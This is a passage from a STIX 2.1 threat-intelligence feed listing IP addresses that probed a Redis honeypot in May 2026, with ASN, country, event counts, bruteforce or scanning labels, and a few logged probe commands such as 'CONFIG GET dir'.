      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:25:09.000Z",
      "valid_until": "2026-06-07T15:25:08.000Z"
    },
    {
      "created": "2026-05-06T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--28505e21-022e-43f0-8b55-6b886ae2ced0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:25:10.000Z",
      "valid_until": "2026-06-07T16:25:09.000Z"
    },
    {
      "created": "2026-05-06T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=IN; asn=132420; asn_org=282, Sector 19; redis_cmds=CONFIG GET dir; redis_cmd_hits=0; cmd=\"CONFIG GET dir\"",
      "id": "indicator--89a49f07-d309-4358-bdd9-6481d64859af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '164.52.192.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T18:25:10.000Z",
      "valid_until": "2026-06-07T18:25:09.000Z"
    },
    {
      "created": "2026-05-06T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6dffec19-1e2a-4c63-9ced-10299278b485",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:25:10.000Z",
      "valid_until": "2026-06-07T19:25:09.000Z"
    },
    {
      "created": "2026-05-06T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--ca2b37d0-1072-4f64-a975-19b486af2ae0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '49.232.194.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:25:10.000Z",
      "valid_until": "2026-06-07T19:25:09.000Z"
    },
    {
      "created": "2026-05-06T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--332284d4-dcb8-403d-befe-91ca58cf1d12",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-06T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.190.216.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:25:10.000Z",
      "valid_until": "2026-06-07T23:25:09.000Z"
    },
    {
      "created": "2026-05-06T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c08da94d-319f-42e0-a317-9986f6752b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:25:10.000Z",
      "valid_until": "2026-06-07T23:25:09.000Z"
    },
    {
      "created": "2026-05-06T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--01543fda-c71b-45b4-ab8f-1a6bd81a43cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.124.93.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:25:10.000Z",
      "valid_until": "2026-06-07T23:25:09.000Z"
    },
    {
      "created": "2026-05-07T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--61db714a-fe1c-47ce-8ccc-8f439477f1c7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.49.117.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:25:10.000Z",
      "valid_until": "2026-06-08T01:25:09.000Z"
    },
    {
      "created": "2026-05-07T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:25:10.000Z",
      "valid_until": "2026-06-08T01:25:09.000Z"
    },
    {
      "created": "2026-05-07T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--117950da-2848-4f32-885c-5730176e9b0c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.6.4.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:25:10.000Z",
      "valid_until": "2026-06-08T01:25:09.000Z"
    },
    {
      "created": "2026-05-07T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:25:10.000Z",
      "valid_until": "2026-06-08T03:25:09.000Z"
    },
    {
      "created": "2026-05-07T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--a0c0f77b-14b4-4f4d-baa5-1d1cbc48315f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.179.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:25:10.000Z",
      "valid_until": "2026-06-08T03:25:09.000Z"
    },
    {
      "created": "2026-05-07T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=75; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:25:10.000Z",
      "valid_until": "2026-06-08T03:25:09.000Z"
    },
    {
      "created": "2026-05-07T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5b5135dd-b157-4256-8d85-f86845086cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.21.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:25:10.000Z",
      "valid_until": "2026-06-08T03:25:09.000Z"
    },
    {
      "created": "2026-05-07T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--97b62b9b-a2b8-4031-8d52-d4ad500469bc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:25:05.000Z",
      "valid_until": "2026-06-08T04:25:04.000Z"
    },
    {
      "created": "2026-05-07T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--97e5626f-e1e8-4b42-b3c2-301f5a0523ae",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:25:05.000Z",
      "valid_until": "2026-06-08T04:25:04.000Z"
    },
    {
      "created": "2026-05-07T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=MD; asn=201813; asn_org=Contrust Solutions S.R.L.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--664e8776-df02-4fa3-9ace-1282cb298da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:25:10.000Z",
      "valid_until": "2026-06-08T05:25:09.000Z"
    },
    {
      "created": "2026-05-07T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=55990; asn_org=Huawei Cloud Service data center; redis_cmd_hits=0",
      "id": "indicator--f2e6be2e-12e8-471c-b6af-dbabbfd97b6f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.46.67.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:25:10.000Z",
      "valid_until": "2026-06-08T07:25:09.000Z"
    },
    {
      "created": "2026-05-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=50219; asn_org=Valence Technology Co.; redis_cmd_hits=0",
      "id": "indicator--c164523b-aca4-4806-bb93-dc9d70afdcf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.226.76.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:25:10.000Z",
      "valid_until": "2026-06-08T08:25:09.000Z"
    },
    {
      "created": "2026-05-07T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=26496; asn_org=GoDaddy.com, LLC; redis_cmd_hits=0",
      "id": "indicator--27f8887f-3c48-4e2b-8be7-83983c6d4ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '97.74.92.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:25:11.000Z",
      "valid_until": "2026-06-08T10:25:09.000Z"
    },
    {
      "created": "2026-05-07T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.23.181.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:25:09.000Z",
      "valid_until": "2026-06-08T11:25:08.000Z"
    },
    {
      "created": "2026-05-07T12:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--1c8db237-cc6d-4c88-a068-f1382fa9faf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T12:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:25:02.000Z",
      "valid_until": "2026-06-08T12:25:01.000Z"
    },
    {
      "created": "2026-05-07T13:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ac5f78d9-486c-4555-a16a-a8cd1ea21568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.229.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:25:04.000Z",
      "valid_until": "2026-06-08T13:25:03.000Z"
    },
    {
      "created": "2026-05-07T13:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=IN; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c51a3fea-76f7-49c0-aa3d-1fff794e6077",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T13:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.40.41.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:25:04.000Z",
      "valid_until": "2026-06-08T13:25:03.000Z"
    },
    {
      "created": "2026-05-07T13:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:25:04.000Z",
      "valid_until": "2026-06-08T13:25:03.000Z"
    },
    {
      "created": "2026-05-07T13:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--680323c5-bdd7-40ad-b149-4a367313db52",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T13:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:25:04.000Z",
      "valid_until": "2026-06-08T13:25:03.000Z"
    },
    {
      "created": "2026-05-07T16:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--3dc5a291-1e5c-4f24-b369-c3534a422583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.248.173.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:25:04.000Z",
      "valid_until": "2026-06-08T16:25:03.000Z"
    },
    {
      "created": "2026-05-07T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--54bdaf3e-54e9-40a9-81e4-0caf0322cdf2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.29.89.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T17:25:10.000Z",
      "valid_until": "2026-06-08T17:25:09.000Z"
    },
    {
      "created": "2026-05-07T18:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--cd858af1-4bba-41b6-9637-ad7d4d0decc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T18:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.98.137.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:25:16.000Z",
      "valid_until": "2026-06-08T18:25:13.000Z"
    },
    {
      "created": "2026-05-07T18:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--f640bf6c-b12c-46bd-a500-4d1cbf62d9b1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T18:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.21.227.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T18:25:16.000Z",
      "valid_until": "2026-06-08T18:25:13.000Z"
    },
    {
      "created": "2026-05-07T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--437e6367-1117-4588-8934-6abdaa4cbbba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:25:10.000Z",
      "valid_until": "2026-06-08T20:25:10.000Z"
    },
    {
      "created": "2026-05-07T23:25:40.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--b0a7f325-0e3b-4ec6-ac94-9df728747456",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-07T23:25:40.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '221.226.215.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:25:40.000Z",
      "valid_until": "2026-06-08T23:25:09.000Z"
    },
    {
      "created": "2026-05-08T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=ES; asn=50926; asn_org=Axarnet Comunicaciones, S.l.; redis_cmd_hits=0",
      "id": "indicator--3741e800-9015-431f-8425-64e66cac7bde",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.44.32.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T00:25:10.000Z",
      "valid_until": "2026-06-09T00:25:09.000Z"
    },
    {
      "created": "2026-05-08T01:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--b8f229b7-6a23-4633-911b-a820b145bf0a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T01:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.50.17.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:25:13.000Z",
      "valid_until": "2026-06-09T01:25:10.000Z"
    },
    {
      "created": "2026-05-08T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--85fb7877-c1e8-4a65-9999-70a71b658435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:25:10.000Z",
      "valid_until": "2026-06-09T03:25:09.000Z"
    },
    {
      "created": "2026-05-08T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:25:10.000Z",
      "valid_until": "2026-06-09T04:25:09.000Z"
    },
    {
      "created": "2026-05-08T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--4662710f-5a7e-4a97-be24-e77975e44638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.115.230.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:25:10.000Z",
      "valid_until": "2026-06-09T05:25:09.000Z"
    },
    {
      "created": "2026-05-08T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.118.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:25:10.000Z",
      "valid_until": "2026-06-09T09:25:09.000Z"
    },
    {
      "created": "2026-05-08T11:25:10.000Z",
